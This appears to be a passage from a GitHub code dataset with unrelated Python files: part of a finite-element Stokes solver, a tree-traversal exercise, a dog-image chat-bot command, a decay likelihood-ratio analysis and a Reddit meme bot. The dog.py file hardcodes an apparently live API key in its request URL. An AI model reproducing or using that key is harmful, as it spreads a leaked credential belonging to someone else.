jcb[0,0]+=dNNNVdr[k]*xV[iconV[k,iel]]\n            jcb[0,1]+=dNNNVdr[k]*yV[iconV[k,iel]]\n            jcb[1,0]+=dNNNVds[k]*xV[iconV[k,iel]]\n            jcb[1,1]+=dNNNVds[k]*yV[iconV[k,iel]]\n        #end for\n        jcbi=np.linalg.inv(jcb)\n        for k in range(0,mV):\n            dNNNVdx[k]=jcbi[0,0]*dNNNVdr[k]+jcbi[0,1]*dNNNVds[k]\n            dNNNVdy[k]=jcbi[1,0]*dNNNVdr[k]+jcbi[1,1]*dNNNVds[k]\n        #end for\n        L_xx=0.\n        L_xy=0.\n        L_yx=0.\n        L_yy=0.\n        for k in range(0,mV):\n            L_xx+=dNNNVdx[k]*u[iconV[k,iel]]\n            L_xy+=dNNNVdx[k]*v[iconV[k,iel]]\n            L_yx+=dNNNVdy[k]*u[iconV[k,iel]]\n            L_yy+=dNNNVdy[k]*v[iconV[k,iel]]\n        #end for\n        Lxx2[inode]+=L_xx\n        Lxy2[inode]+=L_xy\n        Lyx2[inode]+=L_yx\n        Lyy2[inode]+=L_yy\n        count[inode]+=1\n    #end for\n#end for\nLxx2/=count\nLxy2/=count\nLyx2/=count\nLyy2/=count\n\nprint(\"     -> Lxx2 (m,M) %.4f %.4f \" %(np.min(Lxx2),np.max(Lxx2)))\nprint(\"     -> Lyy2 (m,M) %.4f %.4f \" %(np.min(Lyy2),np.max(Lyy2)))\nprint(\"     -> Lxy2 (m,M) %.4f %.4f \" %(np.min(Lxy2),np.max(Lxy2)))\nprint(\"     -> Lxy2 (m,M) %.4f %.4f \" %(np.min(Lyx2),np.max(Lyx2)))\n\n#np.savetxt('strainrate.ascii',np.array([xV,yV,Lxx,Lyy,Lxy,Lyx]).T)\n\nprint(\"compute vel gradient meth-2 (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n#################################################################\n\nexx2 = np.zeros(nnp,dtype=np.float64)  \neyy2 = np.zeros(nnp,dtype=np.float64)  \nexy2 = np.zeros(nnp,dtype=np.float64)  \n\nexx2[:]=Lxx2[:]\neyy2[:]=Lyy2[:]\nexy2[:]=0.5*(Lxy2[:]+Lyx2[:])\n\n#################################################################\n#################################################################\nstart = timing.time()\n\nM_mat= np.zeros((nnp,nnp),dtype=np.float64)\nrhsLxx=np.zeros(nnp,dtype=np.float64)\nrhsLyy=np.zeros(nnp,dtype=np.float64)\nrhsLxy=np.zeros(nnp,dtype=np.float64)\nrhsLyx=np.zeros(nnp,dtype=np.float64)\n\nfor iel in range(0,nel):\n\n    M_el =np.zeros((mV,mV),dtype=np.float64)\n    fLxx_el=np.zeros(mV,dtype=np.float64)\n    fLyy_el=np.zeros(mV,dtype=np.float64)\n    fLxy_el=np.zeros(mV,dtype=np.float64)\n    fLyx_el=np.zeros(mV,dtype=np.float64)\n    NNNV =np.zeros((mV,1),dtype=np.float64) \n\n    # integrate viscous term at 4 quadrature points\n    for iq in range(0,nqperdim):\n        for jq in range(0,nqperdim):\n\n            # position & weight of quad. point\n            rq=qcoords[iq]\n            sq=qcoords[jq]\n            weightq=qweights[iq]*qweights[jq]\n\n            NNNV[0:mV,0]=NNV(rq,sq)\n            dNNNVdr[0:mV]=dNNVdr(rq,sq)\n            dNNNVds[0:mV]=dNNVds(rq,sq)\n\n            # calculate jacobian matrix\n            jcb=np.zeros((2,2),dtype=np.float64)\n            for k in range(0,mV):\n                jcb[0,0] += dNNNVdr[k]*xV[iconV[k,iel]]\n                jcb[0,1] += dNNNVdr[k]*yV[iconV[k,iel]]\n                jcb[1,0] += dNNNVds[k]*xV[iconV[k,iel]]\n                jcb[1,1] += dNNNVds[k]*yV[iconV[k,iel]]\n            #end for \n            jcob = np.linalg.det(jcb)\n            jcbi = np.linalg.inv(jcb)\n\n            # compute dNdx & dNdy\n            Lxxq=0.\n            Lyyq=0.\n            Lxyq=0.\n            Lyxq=0.\n            for k in range(0,mV):\n                dNNNVdx[k]=jcbi[0,0]*dNNNVdr[k]+jcbi[0,1]*dNNNVds[k]\n                dNNNVdy[k]=jcbi[1,0]*dNNNVdr[k]+jcbi[1,1]*dNNNVds[k]\n                Lxxq+=dNNNVdx[k]*u[iconV[k,iel]]\n                Lyyq+=dNNNVdy[k]*v[iconV[k,iel]]\n                Lxyq+=dNNNVdx[k]*v[iconV[k,iel]]\n                Lyxq+=dNNNVdy[k]*u[iconV[k,iel]]\n            #end for \n\n            M_el +=NNNV.dot(NNNV.T)*weightq*jcob\n\n            fLxx_el[:]+=NNNV[:,0]*Lxxq*jcob*weightq\n            fLyy_el[:]+=NNNV[:,0]*Lyyq*jcob*weightq\n            fLxy_el[:]+=NNNV[:,0]*Lxyq*jcob*weightq\n            fLyx_el[:]+=NNNV[:,0]*Lyxq*jcob*weightq\n\n        #end for\n    #end for\n\n    for k1 in range(0,mV):\n        m1=iconV[k1,iel]\n        for k2 in range(0,mV):\n            m2=iconV[k2,iel]\n            M_mat[m1,m2]+=M_el[k1,k2]\n        #end for\n        rhsLxx[m1]+=fLxx_el[k1]\n        rhsLyy[m1]+=fLyy_el[k1]\n        rhsLxy[m1]+=fLxy_el[k1]\n        rhsLyx[m1]+=fLyx_el[k1]\n    #end for\n\n#end for\n\nLxx3 = sps.linalg.spsolve(sps.csr_matrix(M_mat),rhsLxx)\nLyy3 = sps.linalg.spsolve(sps.csr_matrix(M_mat),rhsLyy)\nLxy3 = sps.linalg.spsolve(sps.csr_matrix(M_mat),rhsLxy)\nLyx3 = sps.linalg.spsolve(sps.csr_matrix(M_mat),rhsLyx)\n\nprint(\"     -> Lxx3 (m,M) %.4f %.4f \" %(np.min(Lxx3),np.max(Lxx3)))\nprint(\"     -> Lyy3 (m,M) %.4f %.4f \" %(np.min(Lyy3),np.max(Lyy3)))\nprint(\"     -> Lxy3 (m,M) %.4f %.4f \" %(np.min(Lxy3),np.max(Lxy3)))\nprint(\"     -> Lxy3 (m,M) %.4f %.4f \" %(np.min(Lyx3),np.max(Lyx3)))\n\nprint(\"compute vel gradient meth-3 (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n#################################################################\n\nexx3 = np.zeros(nnp,dtype=np.float64)  \neyy3 = np.zeros(nnp,dtype=np.float64)  \nexy3 = np.zeros(nnp,dtype=np.float64)  \n\nexx3[:]=Lxx3[:]\neyy3[:]=Lyy3[:]\nexy3[:]=0.5*(Lxy3[:]+Lyx3[:])\n\n#################################################################\n# export pressure at both surfaces\n#################################################################\n#start = timing.time()\n\n#np.savetxt('q_R1.ascii',np.array([xV[0:2*nelt],yV[0:2*nelt],q[0:2*nelt],theta[0:2*nelt]]).T)\n#np.savetxt('q_R2.ascii',np.array([xV[nnp-2*nelt:nnp],\\\n#                                  yV[nnp-2*nelt:nnp],\\\n#                                   q[nnp-2*nelt:nnp],\\\n#                               theta[nnp-2*nelt:nnp]]).T)\n\n#np.savetxt('p_R1.ascii',np.array([xP[0:nelt],yP[0:nelt],p[0:nelt]]).T)\n#np.savetxt('p_R2.ascii',np.array([xP[NP-nelt:NP],yP[NP-nelt:NP],p[NP-nelt:NP]]).T)\n\n#print(\"export p&q on R1,R2 (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n# compute error\n#################################################################\nstart = timing.time()\n\nNNNV    = np.zeros(mV,dtype=np.float64)           # shape functions V\ndNNNVdr  = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\ndNNNVds  = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\n\niiq=0\nerrv=0.\nerrp=0.\nerrexx1=0.\nerreyy1=0.\nerrexy1=0.\nerrexx2=0.\nerreyy2=0.\nerrexy2=0.\nerrexx3=0.\nerreyy3=0.\nerrexy3=0.\nvrms=0.\nfor iel in range (0,nel):\n    for iq in range(0,nqperdim):\n        for jq in range(0,nqperdim):\n            rq=qcoords[iq]\n            sq=qcoords[jq]\n            weightq=qweights[iq]*qweights[jq]\n\n            NNNV[0:mV]=NNV(rq,sq)\n            dNNNVdr[0:mV]=dNNVdr(rq,sq)\n            dNNNVds[0:mV]=dNNVds(rq,sq)\n            NNNP[0:mP]=NNP(rq,sq)\n\n            jcb=np.zeros((ndim,ndim),dtype=np.float64)\n            for k in range(0,mV):\n                jcb[0,0] += dNNNVdr[k]*xV[iconV[k,iel]]\n                jcb[0,1] += dNNNVdr[k]*yV[iconV[k,iel]]\n                jcb[1,0] += dNNNVds[k]*xV[iconV[k,iel]]\n                jcb[1,1] += dNNNVds[k]*yV[iconV[k,iel]]\n            jcob = np.linalg.det(jcb)\n\n            uq=0.\n            vq=0.\n            exx1q=0.\n            eyy1q=0.\n            exy1q=0.\n            exx2q=0.\n            eyy2q=0.\n            exy2q=0.\n            exx3q=0.\n            eyy3q=0.\n            exy3q=0.\n            for k in range(0,mV):\n                uq+=NNNV[k]*u[iconV[k,iel]]\n                vq+=NNNV[k]*v[iconV[k,iel]]\n                exx1q+=NNNV[k]*exx1[iconV[k,iel]]\n                eyy1q+=NNNV[k]*eyy1[iconV[k,iel]]\n                exy1q+=NNNV[k]*exy1[iconV[k,iel]]\n                exx2q+=NNNV[k]*exx2[iconV[k,iel]]\n                eyy2q+=NNNV[k]*eyy2[iconV[k,iel]]\n                exy2q+=NNNV[k]*exy2[iconV[k,iel]]\n                exx3q+=NNNV[k]*exx3[iconV[k,iel]]\n                eyy3q+=NNNV[k]*eyy3[iconV[k,iel]]\n                exy3q+=NNNV[k]*exy3[iconV[k,iel]]\n            errv+=((uq-velocity_x(xq[iiq],yq[iiq],R1,R2,kk,rho0,g0))**2+\\\n                   (vq-velocity_y(xq[iiq],yq[iiq],R1,R2,kk,rho0,g0))**2)*weightq*jcob\n\n            errexx1+=(exx1q-sr_xx(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            erreyy1+=(eyy1q-sr_yy(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            errexy1+=(exy1q-sr_xy(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            errexx2+=(exx2q-sr_xx(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            erreyy2+=(eyy2q-sr_yy(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            errexy2+=(exy2q-sr_xy(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            errexx3+=(exx3q-sr_xx(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            erreyy3+=(eyy3q-sr_yy(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n            errexy3+=(exy3q-sr_xy(xq[iiq],yq[iiq],R1,R2,kk))**2*weightq*jcob\n\n            vrms+=(uq**2+vq**2)*weightq*jcob\n\n            xxq=0.\n            yyq=0.\n            pq=0.\n            for k in range(0,mP):\n                xxq+=NNNP[k]*xP[iconP[k,iel]]\n                yyq+=NNNP[k]*yP[iconP[k,iel]]\n                pq+=NNNP[k]*p[iconP[k,iel]]\n            errp+=(pq-pressure(xxq,yyq,R1,R2,kk,rho0,g0))**2*weightq*jcob\n\n            iiq+=1 \n        # end for jq\n    # end for iq\n# end for iel\n\nerrv=np.sqrt(errv)\nerrp=np.sqrt(errp)\nerrexx1=np.sqrt(errexx1)\nerreyy1=np.sqrt(erreyy1)\nerrexy1=np.sqrt(errexy1)\nerrexx2=np.sqrt(errexx2)\nerreyy2=np.sqrt(erreyy2)\nerrexy2=np.sqrt(errexy2)\nerrexx3=np.sqrt(errexx3)\nerreyy3=np.sqrt(erreyy3)\nerrexy3=np.sqrt(errexy3)\n\nvrms=np.sqrt(vrms/np.pi/(R2**2-R1**2))\n\nprint('     -> nelr=',nelr,' vrms=',vrms)\nprint(\"     -> nelr= %6d ; errv= %.8e ; errp= %.8e \" %(nelr,errv,errp))\nprint(\"     -> nelr= %6d ; errexx1= %.8e ; erreyy1= %.8e ; errexy1= %.8e\" %(nelr,errexx1,erreyy1,errexy1))\nprint(\"     -> nelr= %6d ; errexx2= %.8e ; erreyy2= %.8e ; errexy2= %.8e\" %(nelr,errexx2,erreyy2,errexy2))\nprint(\"     -> nelr= %6d ; errexx3= %.8e ; erreyy3= %.8e ; errexy3= %.8e\" %(nelr,errexx3,erreyy3,errexy3))\n\nprint(\"compute errors (%.3fs)\" % (timing.time() - start))\n\n#####################################################################\n# plot of solution\n#####################################################################\nstart = timing.time()\n\nnnp2=nnr*nnt\n\nif visu==1:\n   vtufile=open(\"solution.vtu\",\"w\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\" %(nnp2,nel))\n   #####\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f %10f %10f \\n\" %(xV[i],yV[i],0.))\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   #####\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for iel in range(0,nel):\n       vtufile.write(\"%10f \\n\" %area[iel])\n   vtufile.write(\"\\n\")\n\n   vtufile.write(\"\\n\")\n   #####\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f %10f %10f \\n\" %(gx(xV[i],yV[i],g0),gy(xV[i],yV[i],g0),0.))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f %10f %10f \\n\" %(u[i],v[i],0.))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%13e %13e %13e \\n\" %(velocity_x(xV[i],yV[i],R1,R2,kk,rho0,g0),\\\n                                           velocity_y(xV[i],yV[i],R1,R2,kk,rho0,g0),0.))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f %10f %10f \\n\" %(u[i]-velocity_x(xV[i],yV[i],R1,R2,kk,rho0,g0),\\\n                                           v[i]-velocity_y(xV[i],yV[i],R1,R2,kk,rho0,g0),0.))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f %10f %10f \\n\" %(vr[i],vt[i],0.))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %r[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %theta[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %density(xV[i],yV[i],R1,R2,kk,rho0,g0))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %Psi(xV[i],yV[i],R1,R2,kk))\n   vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lxx2[i])\n   #vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lyy2[i])\n   #vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lxy2[i])\n   #vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lyx2[i])\n   #vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %(sr_xx(xV[i],yV[i],R1,R2,kk)))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %(sr_yy(xV[i],yV[i],R1,R2,kk)))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %(sr_xy(xV[i],yV[i],R1,R2,kk)))\n   vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lyy[i])\n   #vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lxy[i])\n   #vtufile.write(\"\\n\")\n   #--\n   #vtufile.write(\" \\n\")\n   #for i in range(0,nnp):\n   #    vtufile.write(\"%10f \\n\" %Lyx[i])\n   #vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %exx1[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %eyy1[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %exy1[i])\n   vtufile.write(\"\\n\")\n\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %exx2[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %eyy2[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %exy2[i])\n   vtufile.write(\"\\n\")\n\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %exx3[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %eyy3[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %exy3[i])\n   vtufile.write(\"\\n\")\n\n   #--\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp2):\n       vtufile.write(\"%10f \\n\" %p[i])\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for i in range (0,nnp2):\n       vtufile.write(\"%f\\n\" % pressure(xV[i],yV[i],R1,R2,kk,rho0,g0))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\"\\n\")\n   #####\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for iel in range (0,nel):\n       vtufile.write(\"%d %d %d %d\\n\" %(iconV[0,iel],iconV[1,iel],iconV[2,iel],iconV[3,iel]))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\" \\n\")\n   for iel in range (0,nel):\n       vtufile.write(\"%d \\n\" %((iel+1)*4))\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\"\\n\")\n   for iel in range (0,nel):\n       vtufile.write(\"%d \\n\" %9)\n   vtufile.write(\"\\n\")\n   #--\n   vtufile.write(\"\\n\")\n   #####\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.close()\n   print(\"export to vtu file (%.3fs)\" % (timing.time() - start))\n\n\n   vtufile=open('qpts.vtu',\"w\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\" %(nq,nq))\n   vtufile.write(\" \\n\")\n   vtufile.write(\"\\n\")\n   for i in range(0,nq):\n       vtufile.write(\"%10e %10e %10e \\n\" %(xq[i],yq[i],0.))\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   for i in range(0,nq):\n       vtufile.write(\"%d \" % i)\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   for i in range(0,nq):\n       vtufile.write(\"%d \" % (i+1))\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   for i in range(0,nq):\n       vtufile.write(\"%d \" % 1)\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.close()\n\n   vtufile=open('gridV.vtu',\"w\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\" \\n\" %(nnp,nnp))\n   vtufile.write(\" \\n\")\n   vtufile.write(\"\\n\")\n   for i in range(0,nnp):\n       vtufile.write(\"%10e %10e %10e \\n\" %(xV[i],yV[i],0.))\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp):\n       vtufile.write(\"%d \" % i)\n   vtufile.write(\"\\n\")\n   vtufile.write(\" \\n\")\n   for i in range(0,nnp):\n       vtufile.write(\"%d \" % (i+1))\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   for i in range(0,nnp):\n       vtufile.write(\"%d \" % 1)\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.write(\"\\n\")\n   vtufile.close()\n\n\n\n\n\n\nprint(\"-----------------------------\")\nprint(\"------------the end----------\")\nprint(\"-----------------------------\")\n","repo_name":"cedrict/fieldstone","sub_path":"python_codes/fieldstone_74/stone.py","file_name":"stone.py","file_ext":"py","file_size_in_byte":46289,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"78"}
+{"seq_id":"17479743101","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n    def __init__(self, val):\n        self.val = val\n        self.left, self.right = None, None\n\"\"\"\n\n\nclass Solution:\n    \"\"\"\n    @param root: The root of binary tree.\n    @return: Preorder in ArrayList which contains node values.\n    \"\"\"\n    def preorderTraversal(self, root):\n        # write your code here\n        result = []\n        if root is None:\n            return result\n        stack = [root]\n        while stack:\n            now = stack.pop()\n            result.append(now.val)\n            if now.right:\n                stack.append(now.right)\n            if now.left:\n                stack.append(now.left)\n        return result","repo_name":"cy-zheng/lintcode","sub_path":"九章算法/3 - 二叉树与分治法/选做/binary-tree-preorder-traversal.py","file_name":"binary-tree-preorder-traversal.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"40368737830","text":"#!/usr/bin/env python\nimport requests\nimport json\nimport re\nimport analysis\n\napiurl = 'https://api.thedogapi.com/v1/images/search?api_key=live_AR2lT9lfSR6LljTYLRyRC378I7kIimjIBPXPhiQKbhjfG4tcri0dOfali15kzF07'\n\ndef dog(message,uid=0,gid=0):\n    try:\n        headers = {\n            'User-Agent': 'My User Agent 1.0',\n            'From': 'youremail@domain.example', # This is another valid field,\n            'referer':'www.google.com'\n        }\n        data = requests.get(apiurl,headers=headers)\n        imgurl=json.loads(data.content)[0]['url']\n        m = f'[CQ:image,file={imgurl}]'\n #       print(m)\n        analysis.send_msg(m,uid=uid,gid=gid)\n\n    except Exception as e:\n        print(e)\n        analysis.send_msg(\"汪!汪!\",uid=uid,gid=gid)\n\n# scy('',gid=144744787)\n","repo_name":"squidwantyou/seasons_bot","sub_path":"dog.py","file_name":"dog.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"3933336191","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n# Define the parameters and alpha\r\n\r\nalpha=0.05    \r\nLambda_null=50\r\nLambda_alter=70\r\n\r\n#open the output files\r\nf1 = open(\"Decayoutput_null.txt\", \"r\")\r\nf2 = open(\"Decayoutput_alter.txt\", \"r\")\r\n\r\n\r\n\r\narray_alter=[]\r\narray_null=[]\r\n\r\n\r\n\r\n#import data and convert it to numpy arrays\r\nfor line in f1:\r\n    array_null.append(int(line))\r\nfor line in f2:\r\n    array_alter.append(int(line))    \r\n    \r\n\r\n\r\n#sort the arrays\r\narray_null.sort()\r\narray_alter.sort()\r\n\r\n\r\n\r\n\r\n\r\narray_alter=np.array(array_alter)\r\n\r\n\r\n\r\n\r\n#Calculating the Likelyhood \r\n\r\ni=0\r\np0=[]\r\np1=[]\r\nL_Ratio_H0=[]\r\nL_Ratio_H1=[]\r\nLH0=0\r\nLH1=0\r\nfor i in range(0,len(array_null)):\r\n    LH0=(np.exp(-Lambda_null))*(Lambda_null**array_null[i])/np.math.factorial(array_null[i])\r\n    LH1=(np.exp(-Lambda_alter))*(Lambda_alter**array_null[i])/np.math.factorial(array_null[i])\r\n    p0.append(LH0)\r\n    p1.append(LH1)\r\n    L_Ratio_H0.append(np.log10(LH0/LH1))\r\n    L_Ratio_H1.append(np.log10(LH1/LH0))\r\n\r\n\r\n\r\n\r\nlambda_crit = array_null[min(int((1-alpha)*len(array_null)), len(array_null)-1)]\r\nfirst_leftover = np.where( array_alter > lambda_crit )[0][0]\r\nbeta = first_leftover/len(array_alter)\r\n#plotting\r\nweights0 = np.ones_like(L_Ratio_H0) / len(L_Ratio_H0)\r\nweights1 = np.ones_like(L_Ratio_H1) / len(L_Ratio_H1)\r\n\r\n\r\nfig,ax=plt.subplots()\r\nplt.hist(L_Ratio_H0,65,weights=weights0,alpha=0.5,label=\"assuming $\\\\mathbb{H}_0$\")\r\nplt.hist(L_Ratio_H1,65,weights=weights1, alpha=0.5,label=\"assuming $\\\\mathbb{H}_1$\")\r\nplt.axvline(alpha, color='r', linewidth=1, label='$\\\\lambda_\\\\alpha$')\r\nax.plot([], [], ' ', label=\"$\\\\alpha = 0.05$\")\r\nax.plot([], [], ' ', label=\"$\\\\beta = $\"+str(beta) ) \r\nplt.legend()\r\nplt.title('Log-Likelihood Ratio Plot')\r\nplt.xlabel('$\\\\lambda = \\\\log({\\\\cal L}_{\\\\mathbb{H}_{1}}/{\\\\cal L}_{\\\\mathbb{H}_{0}})$')\r\nplt.ylabel('Probability')\r\nplt.grid(True)\r\nplt.savefig('Log_Likelihood_Ratio.pdf')\r\nplt.show()\r\n","repo_name":"Raxxak/Project-1","sub_path":"Python/DecayAnalysis_LLR.py","file_name":"DecayAnalysis_LLR.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"73670688571","text":"import random\n\nfrom Resources import config\nfrom prawcore import NotFound\nimport re\n\nclient_obj = config.Database_oauth()\nclient = client_obj.database_info()\ndb = client[\"meme\"]\ncollection = db[\"memedata\"]\nreddit = client_obj.oauth_info()\n\nmax_count = list(collection.find().sort(\"count\", -1).limit(1))[0]['count']  # get max count\n\n\ndef send_meme(x=0):\n    total_memes = collection.estimated_document_count()  # total_meme\n    random_number = random.randint(1, total_memes)  # random meme by id\n    meme_data = collection.find_one({\"_id\": random_number})  # cursor object to list\n    if x == 0:\n        if meme_data['count'] == max_count:\n            send_meme(x=1)  # just increase the probability of not getting same meme by 1/(totalmeme)**2\n        else:\n            collection.update_one({\"_id\": random_number}, {\"$set\": {\"count\": meme_data['count'] + 1}})  # update count\n            memepage, memetitle, memeurl = meme_data['memepage'], meme_data['memetitle'], meme_data['memeurl']\n            return memepage, memetitle, memeurl  # return Resources\n    else:\n        collection.update_one({\"_id\": random_number}, {\"$set\": {\"count\": meme_data['count'] + 1}})  # update count\n        memepage, memetitle, memeurl = meme_data['memepage'], meme_data['memetitle'], meme_data['memeurl']\n        return memepage, memetitle, memeurl  # return Resources\n\n\ndef send_specific_meme(memepage):\n    data = collection.find({\"memepage\": memepage})\n    count = data.count()\n    random_num = random.randint(0, count - 1)\n    meme_data = data[random_num]\n    memepage, memetitle, memeurl = meme_data['memepage'], meme_data['memetitle'], meme_data['memeurl']\n    return memepage, memetitle, memeurl\n\n\ndef sub_exists(sub):\n    exists = True\n    try:\n        reddit.subreddits.search_by_name(sub, exact=True)\n    except NotFound:\n        exists = False\n    return exists\n\n\ndef single_meme(page):\n    if sub_exists(page):\n        page_data = reddit.subreddit(page)\n        post = page_data.hot()\n        for posts in post:\n            if re.search(\"^https?://(?:[a-z0-9\\-]+\\.)+[a-z]{2,6}(?:/[^/#?]+)+\\.(?:jpg|gif)$\", posts.url):\n                memepage, memetitle, memeurl = page, posts.title, posts.url\n                return memepage, memetitle, memeurl  # return Resources\n    else:\n        \n        gif_list = ['http://gph.is/2cPVZfL','http://gph.is/1SuCOVi','http://gph.is/16sUz2u','http://gph.is/16sUz2u','http://gph.is/16sUz2u','http://gph.is/XKdD7x','https://gph.is/g/4bxR80v','https://media.giphy.com/media/HNEmXQz7A0lDq/giphy.gif','https://gph.is/g/4zWL7wK','https://gph.is/g/ZWpQOd4']\n        memepage, memetitle, memeurl = None, 'Failed', random.choice(gif_list)\n        return memepage, memetitle, memeurl\n\n\n","repo_name":"JayP09/TragicSimpBot","sub_path":"Resources/meme_db.py","file_name":"meme_db.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"78"}
